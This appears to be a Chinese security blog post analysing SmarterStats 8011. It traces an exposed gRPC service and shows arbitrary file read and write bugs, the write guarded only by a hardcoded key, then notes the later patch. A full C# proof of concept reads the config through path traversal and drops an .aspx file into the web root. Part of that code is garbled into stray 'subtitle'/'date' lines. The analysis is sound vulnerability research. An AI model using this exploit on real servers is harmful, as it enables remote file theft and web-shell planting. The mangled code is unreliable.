警告
本文最后更新于 2022-06-29,文中内容可能已过时。
老外又发洞了
2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
安装可以看官方的文档 https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx
SSSvc.exe运行在50003端口上,默认监听0.0.0.0
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/cbc4306a-7fb0-533b-07df-cce31bd6a01e.png)
拉到dnspy中看一下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/a22aab98-1955-09ca-131d-aa7f782626b3.png)
main函数启动了一个SSCollect服务类。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/16ec4882-de20-eef0-e334-e380a3f55522.png)
服务类调用了ServiceWorker.StartService()
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ea4ce252-d2b1-b03c-b692-dcc5840ef50d.png)
新起了一个线程运行ServiceLifetimeFunction函数
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/a7691b9d-aefa-c346-da9e-67ce7b1b545c.png)
这里调了ServiceWorker.Start()
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/e293155e-0c6b-043f-aed1-279c7e4b0fbc.png)
start中调用GrpcManager.StartGrpc()
开启监听gRPC。
继续看gRPC,在StartGrpc中,定义了四个服务
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/00b4f8ea-53c6-0990-294e-13cb37e56642.png)
分别对应
- Query -> QueryServiceImplementation
- SiteList -> SiteListServiceImplementation
- ServiceOperations -> ServiceOperationsServiceImplementation
- SiteControl -> SiteControlServiceImplementation
并且端口绑定在0.0.0.0:50003上
随便点开一个服务实现来看 QueryServiceImplementation
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5f7e359b-44b1-613c-ce86-d53482681cc8.png)
ServiceOperationsServiceImplementation
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0a7e5d40-537c-3bae-1ce4-e74955047f0e.png)
能看到grpc的远程调用函数实现。
先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目
在Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)
的Query类中,给了我们rpc client的工具类
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d0d75bca-a4f4-373f-5940-a870137d2bb2.png)
直接把这个dll加入到引用中,然后代码如下。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/6a8535d7-ab8d-bef2-9cc8-a79c39499ab1.png)
这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)
那么接下来就是简单的寻找漏洞点了。
SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)
任意文件读取
这里需要关闭dnspy的编译优化才能看到具体逻辑
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/af9c8b4b-a31a-4cb6-c279-dda7b6b7f677.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/da466255-cf95-b0b4-fcbd-6cb312a040a1.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3d7cb11c-8b70-1a50-ffcc-24ebc776043f.png)
SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)
任意文件写入
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d0e27d83-418e-0368-9a4e-b9473cdfc5d1.png)
有个加密key硬编码,等于没用。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/11353d0d-00e0-3595-dc51-cee53cf35472.png)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;
namespace Routeguide
{
class Program
{
static async Task<int> Main(string[] args)
{
var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
while (await asyncServerStreamingCall.ResponseStream.MoveNext())
{
Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
saveFileToRequest.Creationsubtitle: ""
date: timestamp;
saveFileToRequest.LastWritesubtitle: ""
date: timestamp;
cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
saveFileToRequest.Auth = auth;
saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
client.SaveFileTo(saveFileToRequest);
Console.WriteLine("write done.");
Console.ReadKey();
return 0;
}
}
}
|
GetExportedLogsForSite文件读取截取了文件名并且加了鉴权
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/48b763e3-1906-d473-0584-d4d878000139.png)
SaveFileTo 文件写入限制了后缀白名单并且正则限制了路径
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c0124b59-ac2b-9dc1-f78f-2b6d6d0267f1.png)
SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?涉及到rpc,存不存在反序列化问题呢?
wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了之后再说吧。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/7bfe7ada-762d-2b9c-23fe-8a99b4e9051a.png)
- https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。